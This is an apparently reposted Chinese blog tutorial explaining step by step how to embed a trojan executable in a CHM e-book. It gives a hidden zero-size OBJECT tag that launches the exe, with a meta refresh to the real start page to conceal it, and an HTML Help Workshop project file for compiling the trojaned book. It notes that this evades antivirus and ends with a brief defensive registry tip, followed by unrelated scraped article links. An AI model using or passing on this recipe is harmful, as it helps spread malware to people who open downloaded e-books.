来源:[url]http://soft.yesky.com[/url]

  谈起CHM格式的电子书,可能无人不晓。有很大一部分电子图书都是使用CHM格式编译的。由于木马程序嵌入了电子书中,杀毒软件无法对其中存在的病毒等破坏性程序进行检查和清除。想知道这类电子书的制作方法吗?今天笔者就以实例形式和大家一道分析一下。

  Step1:要想制作一个完美的CHM木马,当然少不了电子书的制作工具。在这里我们选择微软自家的Microsoft HTML Help Workshop。

  当然了,作为木马程序的载体,一本CHM电子书是少不了的。本文演示所采用的是系统帮助文件中现成的windows.chm。

  Step2:首先运行windows.chm,在右侧的空白处点击右键菜单,进入“属性”页。记录下该电子文档的默认主页default.htm和标题栏文字Windows 2000两项信息。

  Step3:接下来需要制作一个可以让木马运行并且同时可以自动跳转到windows.chm默认主页的网页,例如cytkk.htm,源代码如下:

<HTML>
<HEAD>
<meta http-equiv="refresh" content="3;url='default.htm'">
</HEAD>
<BODY>
<OBJECT Width=0 Height=0 style="display:none;" TYPE="application/x-oleobje
ct" CODEBASE="灰色按钮克星.exe">
</OBJECT>
</BODY>
</HTML>

  代码注释:

  content="3是转向时间(单位为秒),可以根据木马程序的运行时间自行修改,建议不要超过5秒。其中的default.htm可以改为你用的电子书的默认主页名,灰色按钮克星.exe为木马程序名,你可以根据情况更改。

  Step4:运行HTML Help Workshop,选择文件菜单下的反编译项。接下来在反编译后的目录中可以看到windows.hhc(对应帮助文档左侧的“目录”项)和windows.hhk(对应帮助文档左侧的“索引”项)。

  Step5:现在要做的就是把木马程序复制到反编译后的目录中(本文中以插入灰色按钮克星.exe这款小软件为例),并在此目录下建立一个例如文件名为cytkk.hhp的文件(用记事本即可),代码如下:

[OPTIONS]
Compatibility=1.1 Or later
Compiled file=windows.chm
Default Window=Main
Language=0x804 中文(中国)
[WINDOWS]
Main="Windows 2000","windows.hhc","windows.hhk","cytkk.htm",,,,,,0x420,150,0x104E,,0x0,0x0,,,,,0
[FILES]
cytkk.htm

  灰色按钮克星.exe

  代码注释:

  windows.chm可以改为你要生成的电子书名,而灰色按钮克星.exe则把它改为要嵌入的木马程序名,Main=后面改为在第一步时你得到的标题栏文字,windows.hhc及windows.hhk分别改为第三步得到的文件名。

  最后用HTML Help Workshop打开cytkk.hhp,点击“文件”→“编译”,待提示完成后,就可以在目标目录中发现已经编译好的带有木马的电子书windows.chm了。

  高手传经:防之有道

  我们不可能对下载的每本书都进行反编译工作来加以检查,那是会累死人的。笔者建议大家在下载电子书籍时,尽量去知名网站下载。
另外读者朋友们也可以修改本地安全属性,使CHM木马无法在本地运行木马程序,将注册表“HKEY_CURRENT_U
SER\Software\Microsoft\Windows\Current

Version\Internet Settings\Zones\0”下的1004项的值由原来十进制的0改为十六进制的3

本文转自loveme2351CTO博客,原文链接:http://blog.51cto.com/loveme23/8561 ,如需转载请自行联系原作者

CHM电子书木马制作攻略相关推荐

  1. CHM电子书木马制作全攻略

    说起CHM格式的电子书,可能无人不晓.有很大一部分电子图书都是使用CHM格式编译的.由于木马程序嵌入了电子书中,杀毒软件无法对其中存在的病毒等破坏性程序进行检查和清除.想知道这类电子书的制作方法吗?今 ...

  2. PHP错题本功能实现,收藏| 最高效的"错题本"制作攻略!手把手教会你!

    原标题:收藏| 最高效的"错题本"制作攻略!手把手教会你! "错题本",也叫"摘错本""纠错本""改错本",是学生把自己 ...

  3. 高品质MP3制作攻略

    高品质MP3制作攻略 前言 作者:蓝颖  [2004-05-28]          MP3的品质取决于音源的质量和制作的方法,无论是从CD唱片.VCD影片或者其他介质上提取音频数据转换为MP3,又或 ...

  4. 迷你世界电路计算机的过程,迷你世界循环电路怎么做 迷你世界循环电路制作攻略...

    类型:休闲益智大小:80.1M语言:中文 评分:6.6 标签: 立即下载 迷你世界是一款超开放的沙盒创造手游,玩家可以在迷你世界中搭建一个梦想中的家园,各种现实中的内容都可以在游戏中呈现,很多小伙伴都 ...

  5. 【电子文件制作攻略】(仅供参考)

    [电子文件制作攻略](仅供参考) 1. 文件扫描 工具:手机应用"口袋扫描仪"或"扫描全能王" 下载:通过官网https://www.myhithink.com ...

  6. 我的世界红石加法计算机教程,MC红石四位加法器制作攻略 | 我的世界 | MC世界侠...

    我的世界红石4位加法器制作攻略,在Minecraft中你可以制作各种各样的工具道具,包括使用红石电路做简单的陷阱等,那么制作红石4位加法器呢?来自"中文Minecraft Wiki" ...

  7. 乐高无限自己地图无法服务器,乐高无限地图制作攻略 建造的小细节不要错过...

    哈喽!今天的小鹅在<乐高®无限>中,体验一把<街道垃圾大作战>地图,小鹅不仅要在市区收集垃圾,还要将它们投放到正确的垃圾箱中,Ε=(´ο`*)))挠头发,到底是谁在为难我小鹅! ...

  8. 10张精美可视化大屏模板分享,加极简制作攻略!抓紧收藏

    这两年随着大数据的发展,数据可视化大屏项目渐渐从原来的政府企事单位逐渐应用到了企业端,从事数据行业这么多年,我也参与过不少大屏项目的开发,也感知到了企业大屏需求的不断变化. 两年前,大家都喜欢用&qu ...

  9. 如何高效制作数据可视化大屏,大屏高效制作攻略分享,总有一款适合你

    做数据可视化大屏可不是一件简单的事情,里面有很多技巧,像布局,配色,图表和素材的选用和搭配等等,里面有很多学问.一时半会也做不出一个大屏,即使你会做也需要一定的时间和精力,在大量的需求下,只能熬夜完成 ...

  10. Altium Designer:从零开始的电路板制作攻略

    目录 创建项目 原理图的制作 原理图库的运用 元器件属性的修改和网络标签的使用 如何自己设计元器件封装 制作原理图会遇到的问题及解决方法 完成原理图后导入PCB PCB的制作 元器件的布局 规则的制定 ...

最新文章

  1. 从一个男人身上看出他的修养和抱负
  2. nodejs+html转换pdf,Nodejs中使用phantom将html转为pdf或图片格式的方法.pdf
  3. MoeCTF 2021Re部分------time2go
  4. 父类指针访问子类成员变量
  5. 计算机单词修改是否正确,计算机组装必懂的53个单词及装机步骤51条.doc
  6. 都2021年了,c/c++开发竟然还能继续吃香??
  7. 地址总线是单向还是双向_碳纤维布加固为什么选择单向布?
  8. Leetcode每日一题:1025.divisor-game(除数博弈)
  9. Qt4_子类化QTableWidget
  10. Android4.1.1_r1系统移植------TP移植篇
  11. Python 使用标准库根据进程名获取进程PID
  12. 【LeetCode】【数组】题号:*283,移动零
  13. 服务器硬盘一直亮红灯怎么回事,请问:电脑的硬盘为何一直亮着红灯?且硬盘很 – 手机爱问...
  14. RabbitMQ消息队列之RPC调用
  15. 如何取消html5微信页面授权,微信授权登录网页管理在哪里看?如何取消授权
  16. 【人事】性格内向的人面试注意事项
  17. 小学生python趣味编程-【少儿编程】python趣味编程第二课:写文字
  18. Android开源项目分类
  19. 微信小程序面试题总结
  20. 电子工程师入门宝典:最常用十大电子元器件-电子技术方案|电路图讲解

热门文章

  1. CodeBlocks 20.03 开发基于FLTK 1.4.X 的应用
  2. 外文文献检索下载网站哪些比较好用
  3. ORACLE多表关联UPDATE 语句
  4. pcs7服务器一直显示在同步,西门子PCS7OS系统时钟同步出现跳变的解决方法
  5. SpringCloud 与 SpringBoot 微服务 架构 | 面试题及答案详解
  6. 高德地图web服务api反坐标查询/逆地理编码
  7. 如何用C语言打印出ASCII码表
  8. 项目验收文档模板(四)
  9. Beyond Compare软件进行代码比对
  10. 基于安卓android studio的电影订票选座APP设计 前台后台